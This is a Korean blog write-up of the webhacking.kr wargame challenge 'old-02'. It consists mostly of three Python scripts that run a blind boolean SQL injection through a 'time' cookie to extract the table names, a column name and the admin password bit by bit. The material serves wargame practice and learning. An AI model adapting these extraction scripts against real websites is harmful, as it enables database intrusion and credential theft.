반응형
쿠키 값 중 time 값에 if 구문을 통해 SQLi가 가능하다.
1. 테이블명 확인
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | import requests url="https://webhacking.kr/challenge/web-02/" flag="" for i in range(1,18): binary='' for j in range(1,8): cookies = {'time':'if(1=(select+substr(lpad(bin(ascii(substr(group_concat(table_name),'+str(i)+',1))),7,0),'+str(j)+',1)+from+information_schema.tables+where+table_schema=database()),1,1587445410)'} response = requests.get(url,cookies=cookies) if('2070' in response.text): binary+='1' else: binary+='0' print(binary) b2i = int(binary, 2) # 문자열을 2진수로 변경 flag = flag + b2i.to_bytes((b2i.bit_length() + 7) // 8, 'big').decode() # to_bytes 함수를 이용하여 1자리 수의 b2i를 byte 형태로 변경 후 유니코드로 변환 print("[+] " + flag) print("[+]Final Flag : " + flag) | cs |
결과 : admin_area_pw, log
2. 컬럼명 확인
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | import requests url="https://webhacking.kr/challenge/web-02/" flag="" for i in range(1,3): binary='' for j in range(1,8): cookies = {'time':'if(1=(select+substr(lpad(bin(ascii(substr(group_concat(column_name),'+str(i)+',1))),7,0),'+str(j)+',1)+from+information_schema.columns+where+table_name="admin_area_pw"),1,1587445410)'} response = requests.get(url,cookies=cookies) if('2070' in response.text): binary+='1' else: binary+='0' print(binary) b2i = int(binary, 2) # 문자열을 2진수로 변경 flag = flag + b2i.to_bytes((b2i.bit_length() + 7) // 8, 'big').decode() # to_bytes 함수를 이용하여 1자리 수의 b2i를 byte 형태로 변경 후 유니코드로 변환 print("[+] " + flag) print("[+]Final Flag : " + flag) | cs |
결과 : pw
3. pw 확인
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | import requests url="https://webhacking.kr/challenge/web-02/" flag="" for i in range(1,18): binary='' for j in range(1,8): cookies = {'time':'if(1=(select+substr(lpad(bin(ascii(substr(pw,'+str(i)+',1))),7,0),'+str(j)+',1)+from+admin_area_pw),1,1587445410)'} response = requests.get(url,cookies=cookies) if('2070' in response.text): binary+='1' else: binary+='0' print(binary) b2i = int(binary, 2) # 문자열을 2진수로 변경 flag = flag + b2i.to_bytes((b2i.bit_length() + 7) // 8, 'big').decode() # to_bytes 함수를 이용하여 1자리 수의 b2i를 byte 형태로 변경 후 유니코드로 변환 print("[+] " + flag) print("[+]Final Flag : " + flag) | cs |
반응형
'Solve Problem > Webhacking.kr' 카테고리의 다른 글
webhacking.kr old-07 writeup (0) | 2020.04.21 |
---|---|
webhacking.kr old-06 writeup (0) | 2020.04.21 |
webhacking.kr old-28 writeup (0) | 2020.04.17 |
webhacking.kr old-40 writeup (1) | 2020.04.14 |
webhacking.kr old-50 writeup (0) | 2020.04.14 |